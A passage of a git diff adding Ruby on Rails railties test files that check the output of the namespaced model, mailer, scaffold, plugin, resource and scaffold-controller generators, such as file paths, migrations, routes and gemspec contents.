+ assert_no_match(/^\s+$/, line, "Don't indent blank lines")
+ end
+ end
+ end
+end
+
+class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase
+ arguments %w(Account name:string age:integer)
+ tests Rails::Generators::ModelGenerator
+
+ def test_module_file_is_not_created
+ run_generator
+ assert_no_file "app/models/test_app.rb"
+ end
+
+ def test_adds_namespace_to_model
+ run_generator
+ assert_file "app/models/test_app/account.rb", /module TestApp/, / class Account < ActiveRecord::Base/
+ end
+
+ def test_model_with_namespace
+ run_generator ["admin/account"]
+ assert_file "app/models/test_app/admin.rb", /module TestApp/, /module Admin/
+ assert_file "app/models/test_app/admin.rb", /def self\.table_name_prefix/
+ assert_file "app/models/test_app/admin.rb", /'test_app_admin_'/
+ assert_file "app/models/test_app/admin/account.rb", /module TestApp/, /class Admin::Account < ActiveRecord::Base/
+ end
+
+ def test_migration
+ run_generator
+ assert_migration "db/migrate/create_test_app_accounts.rb", /create_table :test_app_accounts/, /class CreateTestAppAccounts < ActiveRecord::Migration/
+ end
+
+ def test_migration_with_namespace
+ run_generator ["Gallery::Image"]
+ assert_migration "db/migrate/create_test_app_gallery_images", /class CreateTestAppGalleryImages < ActiveRecord::Migration/
+ assert_no_migration "db/migrate/create_test_app_images"
+ end
+
+ def test_migration_with_nested_namespace
+ run_generator ["Admin::Gallery::Image"]
+ assert_no_migration "db/migrate/create_images"
+ assert_no_migration "db/migrate/create_gallery_images"
+ assert_migration "db/migrate/create_test_app_admin_gallery_images", /class CreateTestAppAdminGalleryImages < ActiveRecord::Migration/
+ assert_migration "db/migrate/create_test_app_admin_gallery_images", /create_table :test_app_admin_gallery_images/
+ end
+
+ def test_migration_with_nested_namespace_without_pluralization
+ ActiveRecord::Base.pluralize_table_names = false
+ run_generator ["Admin::Gallery::Image"]
+ assert_no_migration "db/migrate/create_images"
+ assert_no_migration "db/migrate/create_gallery_images"
+ assert_no_migration "db/migrate/create_test_app_admin_gallery_images"
+ assert_migration "db/migrate/create_test_app_admin_gallery_image", /class CreateTestAppAdminGalleryImage < ActiveRecord::Migration/
+ assert_migration "db/migrate/create_test_app_admin_gallery_image", /create_table :test_app_admin_gallery_image/
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/models/test_app/account_test.rb", /module TestApp/, /class AccountTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/test_app/accounts.yml", /name: MyString/, /age: 1/
+ end
+end
+
+class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
+ arguments %w(notifier foo bar)
+ tests Rails::Generators::MailerGenerator
+
+ def test_mailer_skeleton_is_created
+ run_generator
+ assert_file "app/mailers/test_app/notifier.rb" do |mailer|
+ assert_match(/module TestApp/, mailer)
+ assert_match(/class Notifier < ActionMailer::Base/, mailer)
+ assert_match(/default from: "from at example.com"/, mailer)
+ end
+ end
+
+ def test_mailer_with_i18n_helper
+ run_generator
+ assert_file "app/mailers/test_app/notifier.rb" do |mailer|
+ assert_match(/en\.notifier\.foo\.subject/, mailer)
+ assert_match(/en\.notifier\.bar\.subject/, mailer)
+ end
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/mailers/test_app/notifier_test.rb" do |test|
+ assert_match(/module TestApp/, test)
+ assert_match(/class NotifierTest < ActionMailer::TestCase/, test)
+ assert_match(/test "foo"/, test)
+ assert_match(/test "bar"/, test)
+ end
+ end
+
+ def test_invokes_default_template_engine
+ run_generator
+ assert_file "app/views/test_app/notifier/foo.text.erb" do |view|
+ assert_match(%r(app/views/test_app/notifier/foo\.text\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/test_app/notifier/bar.text.erb" do |view|
+ assert_match(%r(app/views/test_app/notifier/bar\.text\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+ end
+
+ def test_invokes_default_template_engine_even_with_no_action
+ run_generator ["notifier"]
+ assert_file "app/views/test_app/notifier"
+ end
+end
+
+class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
+ include GeneratorsTestHelper
+ arguments %w(product_line title:string price:integer)
+ tests Rails::Generators::ScaffoldGenerator
+
+ setup :copy_routes
+
+ def test_scaffold_on_invoke
+ run_generator
+
+ # Model
+ assert_file "app/models/test_app/product_line.rb", /module TestApp\n class ProductLine < ActiveRecord::Base/
+ assert_file "test/models/test_app/product_line_test.rb", /module TestApp\n class ProductLineTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/test_app/product_lines.yml"
+ assert_migration "db/migrate/create_test_app_product_lines.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_match(/resources :product_lines$/, route)
+ end
+
+ # Controller
+ assert_file "app/controllers/test_app/product_lines_controller.rb",
+ /require_dependency "test_app\/application_controller"/,
+ /module TestApp/,
+ /class ProductLinesController < ApplicationController/
+
+ assert_file "test/controllers/test_app/product_lines_controller_test.rb",
+ /module TestApp\n class ProductLinesControllerTest < ActionController::TestCase/
+
+ # Views
+ %w(index edit new show _form).each do |view|
+ assert_file "app/views/test_app/product_lines/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/test_app/product_lines.html.erb"
+
+ # Helpers
+ assert_file "app/helpers/test_app/product_lines_helper.rb"
+ assert_file "test/helpers/test_app/product_lines_helper_test.rb"
+
+ # Stylesheets
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+
+ def test_scaffold_on_revoke
+ run_generator
+ run_generator ["product_line"], behavior: :revoke
+
+ # Model
+ assert_no_file "app/models/test_app/product_line.rb"
+ assert_no_file "test/models/test_app/product_line_test.rb"
+ assert_no_file "test/fixtures/test_app/product_lines.yml"
+ assert_no_migration "db/migrate/create_test_app_product_lines.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/resources :product_lines$/, route)
+ end
+
+ # Controller
+ assert_no_file "app/controllers/test_app/product_lines_controller.rb"
+ assert_no_file "test/controllers/test_app/product_lines_controller_test.rb"
+
+ # Views
+ assert_no_file "app/views/test_app/product_lines"
+ assert_no_file "app/views/test_app/layouts/product_lines.html.erb"
+
+ # Helpers
+ assert_no_file "app/helpers/test_app/product_lines_helper.rb"
+ assert_no_file "test/helpers/test_app/product_lines_helper_test.rb"
+
+ # Stylesheets (should not be removed)
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+
+ def test_scaffold_with_namespace_on_invoke
+ run_generator [ "admin/role", "name:string", "description:string" ]
+
+ # Model
+ assert_file "app/models/test_app/admin.rb", /module TestApp\n module Admin/
+ assert_file "app/models/test_app/admin/role.rb", /module TestApp\n class Admin::Role < ActiveRecord::Base/
+ assert_file "test/models/test_app/admin/role_test.rb", /module TestApp\n class Admin::RoleTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/test_app/admin/roles.yml"
+ assert_migration "db/migrate/create_test_app_admin_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_match(/^ namespace :admin do\n resources :roles\n end$/, route)
+ end
+
+ # Controller
+ assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content|
+ assert_match(/module TestApp\n class Admin::RolesController < ApplicationController/, content)
+ end
+
+ assert_file "test/controllers/test_app/admin/roles_controller_test.rb",
+ /module TestApp\n class Admin::RolesControllerTest < ActionController::TestCase/
+
+ # Views
+ %w(index edit new show _form).each do |view|
+ assert_file "app/views/test_app/admin/roles/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+ # Helpers
+ assert_file "app/helpers/test_app/admin/roles_helper.rb"
+ assert_file "test/helpers/test_app/admin/roles_helper_test.rb"
+
+ # Stylesheets
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+
+ def test_scaffold_with_namespace_on_revoke
+ run_generator [ "admin/role", "name:string", "description:string" ]
+ run_generator [ "admin/role" ], behavior: :revoke
+
+ # Model
+ assert_file "app/models/test_app/admin.rb" # ( should not be remove )
+ assert_no_file "app/models/test_app/admin/role.rb"
+ assert_no_file "test/models/test_app/admin/role_test.rb"
+ assert_no_file "test/fixtures/test_app/admin/roles.yml"
+ assert_no_migration "db/migrate/create_test_app_admin_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/^ namespace :admin do\n resources :roles\n end$$/, route)
+ end
+
+ # Controller
+ assert_no_file "app/controllers/test_app/admin/roles_controller.rb"
+ assert_no_file "test/controllers/test_app/admin/roles_controller_test.rb"
+
+ # Views
+ assert_no_file "app/views/test_app/admin/roles"
+ assert_no_file "app/views/layouts/test_app/admin/roles.html.erb"
+
+ # Helpers
+ assert_no_file "app/helpers/test_app/admin/roles_helper.rb"
+ assert_no_file "test/helpers/test_app/admin/roles_helper_test.rb"
+
+ # Stylesheets (should not be removed)
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+
+ def test_scaffold_with_nested_namespace_on_invoke
+ run_generator [ "admin/user/special/role", "name:string", "description:string" ]
+
+ # Model
+ assert_file "app/models/test_app/admin/user/special.rb", /module TestApp\n module Admin/
+ assert_file "app/models/test_app/admin/user/special/role.rb", /module TestApp\n class Admin::User::Special::Role < ActiveRecord::Base/
+ assert_file "test/models/test_app/admin/user/special/role_test.rb", /module TestApp\n class Admin::User::Special::RoleTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/test_app/admin/user/special/roles.yml"
+ assert_migration "db/migrate/create_test_app_admin_user_special_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_match(/^ namespace :admin do\n namespace :user do\n namespace :special do\n resources :roles\n end\n end\n end$/, route)
+ end
+
+ # Controller
+ assert_file "app/controllers/test_app/admin/user/special/roles_controller.rb" do |content|
+ assert_match(/module TestApp\n class Admin::User::Special::RolesController < ApplicationController/, content)
+ end
+
+ assert_file "test/controllers/test_app/admin/user/special/roles_controller_test.rb",
+ /module TestApp\n class Admin::User::Special::RolesControllerTest < ActionController::TestCase/
+
+ # Views
+ %w(index edit new show _form).each do |view|
+ assert_file "app/views/test_app/admin/user/special/roles/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/admin/user/special/roles.html.erb"
+
+ # Helpers
+ assert_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
+ assert_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
+
+ # Stylesheets
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+
+ def test_scaffold_with_nested_namespace_on_revoke
+ run_generator [ "admin/user/special/role", "name:string", "description:string" ]
+ run_generator [ "admin/user/special/role" ], behavior: :revoke
+
+ # Model
+ assert_file "app/models/test_app/admin/user/special.rb" # ( should not be remove )
+ assert_no_file "app/models/test_app/admin/user/special/role.rb"
+ assert_no_file "test/models/test_app/admin/user/special/role_test.rb"
+ assert_no_file "test/fixtures/test_app/admin/user/special/roles.yml"
+ assert_no_migration "db/migrate/create_test_app_admin_user_special_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/^ namespace :admin do\n namespace :user do\n namespace :special do\n resources :roles\n end\n end\n end$/, route)
+ end
+
+ # Controller
+ assert_no_file "app/controllers/test_app/admin/user/special/roles_controller.rb"
+ assert_no_file "test/controllers/test_app/admin/user/special/roles_controller_test.rb"
+
+ # Views
+ assert_no_file "app/views/test_app/admin/user/special/roles"
+
+ # Helpers
+ assert_no_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
+ assert_no_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
+
+ # Stylesheets (should not be removed)
+ assert_file "app/assets/stylesheets/scaffold.css"
+ end
+end
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
new file mode 100644
index 0000000..88ae930
--- /dev/null
+++ b/railties/test/generators/orm_test.rb
@@ -0,0 +1,38 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+# Mock out two ORMs
+module ORMWithGenerators
+ module Generators
+ class ActiveModel
+ def initialize(name)
+ end
+ end
+ end
+end
+
+module ORMWithoutGenerators
+ # No generators
+end
+
+class OrmTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ tests Rails::Generators::ScaffoldControllerGenerator
+
+ def test_orm_class_returns_custom_generator_if_supported_custom_orm_set
+ g = generator ["Foo"], orm: "ORMWithGenerators"
+ assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set
+ g = generator ["Foo"], orm: "ORMWithoutGenerators"
+ assert_equal Rails::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_instance_returns_orm_class_instance_with_name
+ g = generator ["Foo"]
+ orm_instance = g.send(:orm_instance)
+ assert g.send(:orm_class) === orm_instance
+ assert_equal "foo", orm_instance.name
+ end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
new file mode 100644
index 0000000..ac71fb5
--- /dev/null
+++ b/railties/test/generators/plugin_new_generator_test.rb
@@ -0,0 +1,350 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/plugin_new/plugin_new_generator'
+require 'generators/shared_generator_tests'
+
+DEFAULT_PLUGIN_FILES = %w(
+ .gitignore
+ Gemfile
+ Rakefile
+ README.rdoc
+ bukkits.gemspec
+ MIT-LICENSE
+ lib
+ lib/bukkits.rb
+ lib/tasks/bukkits_tasks.rake
+ lib/bukkits/version.rb
+ test/bukkits_test.rb
+ test/test_helper.rb
+ test/dummy
+)
+
+class PluginNewGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ destination File.join(Rails.root, "tmp/bukkits")
+ arguments [destination_root]
+
+ # brings setup, teardown, and some tests
+ include SharedGeneratorTests
+
+ def test_invalid_plugin_name_raises_an_error
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
+ assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
+ assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
+ assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+ end
+
+ def test_camelcase_plugin_name_underscores_filenames
+ run_generator [File.join(destination_root, "CamelCasedName")]
+ assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+ assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
+ end
+
+ def test_generating_without_options
+ run_generator
+ assert_file "README.rdoc", /Bukkits/
+ assert_no_file "config/routes.rb"
+ assert_file "test/test_helper.rb"
+ assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
+ end
+
+ def test_generating_test_files_in_full_mode
+ run_generator [destination_root, "--full"]
+ assert_directory "test/integration/"
+
+ assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
+ end
+
+ def test_generating_test_files_in_full_mode_without_unit_test_files
+ run_generator [destination_root, "-T", "--full"]
+
+ assert_no_directory "test/integration/"
+ assert_no_file "test"
+ assert_file "Rakefile" do |contents|
+ assert_no_match(/APP_RAKEFILE/, contents)
+ end
+ end
+
+ def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
+ run_generator [destination_root, "-T", "--mountable", '--dummy-path', 'my_dummy_app']
+ assert_file "Rakefile", /APP_RAKEFILE/
+ end
+
+ def test_generating_adds_dummy_app_without_javascript_and_assets_deps
+ run_generator [destination_root]
+
+ assert_file "test/dummy/app/assets/stylesheets/application.css"
+
+ assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
+ assert_no_match(/jquery/, contents)
+ end
+ end
+
+ def test_ensure_that_plugin_options_are_not_passed_to_app_generator
+ FileUtils.cd(Rails.root)
+ assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
+ end
+
+ def test_ensure_that_test_dummy_can_be_generated_from_a_template
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
+ assert_file "spec/dummy"
+ assert_no_file "test"
+ end
+
+ def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
+ run_generator([destination_root, "--full"])
+ assert_file "test/dummy/config/database.yml", /sqlite/
+ assert_file "bukkits.gemspec", /sqlite3/
+ end
+
+ def test_config_another_database
+ run_generator([destination_root, "-d", "mysql", "--full"])
+ assert_file "test/dummy/config/database.yml", /mysql/
+ assert_file "bukkits.gemspec", /mysql/
+ end
+
+ def test_dont_generate_development_dependency
+ run_generator [destination_root, "--skip-active-record"]
+
+ assert_file "bukkits.gemspec" do |contents|
+ assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
+ end
+ end
+
+ def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
+ run_generator [destination_root, "--skip-active-record"]
+ assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ end
+
+ def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
+ run_generator [destination_root, "--skip_active_record"]
+ assert_no_file "test/dummy/config/database.yml"
+ assert_file "test/test_helper.rb" do |contents|
+ assert_no_match(/ActiveRecord/, contents)
+ end
+ end
+
+ def test_ensure_that_database_option_is_passed_to_app_generator
+ run_generator [destination_root, "--database", "postgresql"]
+ assert_file "test/dummy/config/database.yml", /postgres/
+ end
+
+ def test_generation_runs_bundle_install_with_full_and_mountable
+ result = run_generator [destination_root, "--mountable", "--full", "--dev"]
+ assert_file "#{destination_root}/Gemfile.lock" do |contents|
+ assert_match(/bukkits/, contents)
+ end
+ assert_match(/run bundle install/, result)
+ assert_match(/Using bukkits \(0\.0\.1\)/, result)
+ assert_match(/Your bundle is complete/, result)
+ assert_equal 1, result.scan("Your bundle is complete").size
+ end
+
+ def test_skipping_javascripts_without_mountable_option
+ run_generator
+ assert_no_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_javascripts_generation
+ run_generator [destination_root, "--mountable"]
+ assert_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_skip_javascripts
+ run_generator [destination_root, "--skip-javascript", "--mountable"]
+ assert_no_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_template_from_dir_pwd
+ FileUtils.cd(Rails.root)
+ assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+ end
+
+ def test_ensure_that_tests_work
+ run_generator
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
+ end
+
+ def test_ensure_that_tests_works_in_full_mode
+ run_generator [destination_root, "--full", "--skip_active_record"]
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
+ end
+
+ def test_ensure_that_migration_tasks_work_with_mountable_option
+ run_generator [destination_root, "--mountable"]
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ `bundle exec rake db:migrate`
+ assert_equal 0, $?.exitstatus
+ end
+
+ def test_creating_engine_in_full_mode
+ run_generator [destination_root, "--full"]
+ assert_file "app/assets/javascripts/bukkits"
+ assert_file "app/assets/stylesheets/bukkits"
+ assert_file "app/assets/images/bukkits"
+ assert_file "app/models"
+ assert_file "app/controllers"
+ assert_file "app/views"
+ assert_file "app/helpers"
+ assert_file "app/mailers"
+ assert_file "bin/rails"
+ assert_file "config/routes.rb", /Rails.application.routes.draw do/
+ assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/
+ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
+ end
+
+ def test_being_quiet_while_creating_dummy_application
+ assert_no_match(/create\s+config\/application.rb/, run_generator)
+ end
+
+ def test_create_mountable_application_with_mountable_option
+ run_generator [destination_root, "--mountable"]
+ assert_file "app/assets/javascripts/bukkits"
+ assert_file "app/assets/stylesheets/bukkits"
+ assert_file "app/assets/images/bukkits"
+ assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
+ assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
+ assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
+ assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/
+ assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/
+ assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
+ assert_match "<title>Bukkits</title>", contents
+ assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
+ assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+ end
+ end
+
+ def test_creating_gemspec
+ run_generator
+ assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
+ assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
+ assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
+ assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
+ end
+
+ def test_usage_of_engine_commands
+ run_generator [destination_root, "--full"]
+ assert_file "bin/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
+ assert_file "bin/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
+ assert_file "bin/rails", /require 'rails\/all'/
+ assert_file "bin/rails", /require 'rails\/engine\/commands'/
+ end
+
+ def test_shebang
+ run_generator [destination_root, "--full"]
+ assert_file "bin/rails", /#!\/usr\/bin\/env ruby/
+ end
+
+ def test_passing_dummy_path_as_a_parameter
+ run_generator [destination_root, "--dummy_path", "spec/dummy"]
+ assert_file "spec/dummy"
+ assert_file "spec/dummy/config/application.rb"
+ assert_no_file "test/dummy"
+ end
+
+ def test_creating_dummy_application_with_different_name
+ run_generator [destination_root, "--dummy_path", "spec/fake"]
+ assert_file "spec/fake"
+ assert_file "spec/fake/config/application.rb"
+ assert_no_file "test/dummy"
+ end
+
+ def test_creating_dummy_without_tests_but_with_dummy_path
+ run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
+ assert_file "spec/dummy"
+ assert_file "spec/dummy/config/application.rb"
+ assert_no_file "test"
+ assert_file '.gitignore' do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
+
+ def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
+ assert_file ".gitignore" do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
+
+ def test_skipping_test_unit
+ run_generator [destination_root, "--skip-test-unit"]
+ assert_no_file "test"
+ assert_file "bukkits.gemspec" do |contents|
+ assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
+ end
+ assert_file '.gitignore' do |contents|
+ assert_no_match(/test\dummy/, contents)
+ end
+ end
+
+ def test_skipping_gemspec
+ run_generator [destination_root, "--skip-gemspec"]
+ assert_no_file "bukkits.gemspec"
+ assert_file "Gemfile" do |contents|
+ assert_no_match('gemspec', contents)
+ assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
+ assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
+ assert_no_match(/# gem "jquery-rails"/, contents)
+ end
+ end
+
+ def test_skipping_gemspec_in_full_mode
+ run_generator [destination_root, "--skip-gemspec", "--full"]
+ assert_no_file "bukkits.gemspec"
+ assert_file "Gemfile" do |contents|
+ assert_no_match('gemspec', contents)
+ assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
+ assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
+ end
+ end
+
+ def test_creating_plugin_in_app_directory_adds_gemfile_entry
+ # simulate application existance
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator [destination_root]
+
+ assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+ def test_skipping_gemfile_entry
+ # simulate application existance
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator [destination_root, "--skip-gemfile-entry"]
+
+ assert_file gemfile_path do |contents|
+ assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+ end
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+
+protected
+ def action(*args, &block)
+ silence(:stdout){ generator.send(*args, &block) }
+ end
+
+ def default_files
+ ::DEFAULT_PLUGIN_FILES
+ end
+end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
new file mode 100644
index 0000000..3d4e694
--- /dev/null
+++ b/railties/test/generators/resource_generator_test.rb
@@ -0,0 +1,89 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/resource/resource_generator'
+
+class ResourceGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(account)
+
+ setup :copy_routes
+
+ def test_help_with_inherited_options
+ content = run_generator ["--help"]
+ assert_match(/ActiveRecord options:/, content)
+ assert_match(/TestUnit options:/, content)
+ end
+
+ def test_files_from_inherited_invocation
+ run_generator
+
+ %w(
+ app/models/account.rb
+ test/models/account_test.rb
+ test/fixtures/accounts.yml
+ ).each { |path| assert_file path }
+
+ assert_migration "db/migrate/create_accounts.rb"
+ end
+
+ def test_inherited_invocations_with_attributes
+ run_generator ["account", "name:string"]
+ assert_migration "db/migrate/create_accounts.rb", /t.string :name/
+ end
+
+ def test_resource_controller_with_pluralized_class_name
+ run_generator
+ assert_file "app/controllers/accounts_controller.rb", /class AccountsController < ApplicationController/
+ assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionController::TestCase/
+
+ assert_file "app/helpers/accounts_helper.rb", /module AccountsHelper/
+ assert_file "test/helpers/accounts_helper_test.rb", /class AccountsHelperTest < ActionView::TestCase/
+ end
+
+ def test_resource_controller_with_actions
+ run_generator ["account", "--actions", "index", "new"]
+
+ assert_file "app/controllers/accounts_controller.rb" do |controller|
+ assert_instance_method :index, controller
+ assert_instance_method :new, controller
+ end
+
+ assert_file "app/views/accounts/index.html.erb"
+ assert_file "app/views/accounts/new.html.erb"
+ end
+
+ def test_resource_routes_are_added
+ run_generator
+
+ assert_file "config/routes.rb" do |route|
+ assert_match(/resources :accounts$/, route)
+ end
+ end
+
+ def test_plural_names_are_singularized
+ content = run_generator ["accounts".freeze]
+ assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
+ assert_file "test/models/account_test.rb", /class AccountTest/
+ assert_match(/Plural version of the model detected, using singularized version. Override with --force-plural./, content)
+ end
+
+ def test_plural_names_can_be_forced
+ content = run_generator ["accounts", "--force-plural"]
+ assert_file "app/models/accounts.rb", /class Accounts < ActiveRecord::Base/
+ assert_file "test/models/accounts_test.rb", /class AccountsTest/
+ assert_no_match(/Plural version of the model detected/, content)
+ end
+
+ def test_mass_nouns_do_not_throw_warnings
+ content = run_generator ["sheep".freeze]
+ assert_no_match(/Plural version of the model detected/, content)
+ end
+
+ def test_route_is_removed_on_revoke
+ run_generator
+ run_generator ["account"], behavior: :revoke
+
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/resources :accounts$/, route)
+ end
+ end
+end
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
new file mode 100644
index 0000000..013cb78
--- /dev/null
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -0,0 +1,169 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
+
+module Unknown
+ module Generators
+ end
+end
+
+class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(User name:string age:integer)
+
+ def test_controller_skeleton_is_created
+ run_generator
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_match(/class UsersController < ApplicationController/, content)
+
+ assert_instance_method :index, content do |m|
+ assert_match(/@users = User\.all/, m)
+ end
+
+ assert_instance_method :show, content
+
+ assert_instance_method :new, content do |m|
+ assert_match(/@user = User\.new/, m)
+ end
+
+ assert_instance_method :edit, content
+
+ assert_instance_method :create, content do |m|
+ assert_match(/@user = User\.new\(user_params\)/, m)
+ assert_match(/@user\.save/, m)
+ end
+
+ assert_instance_method :update, content do |m|
+ assert_match(/@user\.update\(user_params\)/, m)
+ end
+
+ assert_instance_method :destroy, content do |m|
+ assert_match(/@user\.destroy/, m)
+ assert_match(/User was successfully destroyed/, m)
+ end
+
+ assert_instance_method :set_user, content do |m|
+ assert_match(/@user = User\.find\(params\[:id\]\)/, m)
+ end
+
+ assert_match(/def user_params/, content)
+ assert_match(/params\.require\(:user\)\.permit\(:name, :age\)/, content)
+ end
+ end
+
+ def test_dont_use_require_or_permit_if_there_are_no_attributes
+ run_generator ["User"]
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_match(/def user_params/, content)
+ assert_match(/params\[:user\]/, content)
+ end
+ end
+
+ def test_controller_permit_references_attributes
+ run_generator ["LineItem", "product:references", "cart:belongs_to"]
+
+ assert_file "app/controllers/line_items_controller.rb" do |content|
+ assert_match(/def line_item_params/, content)
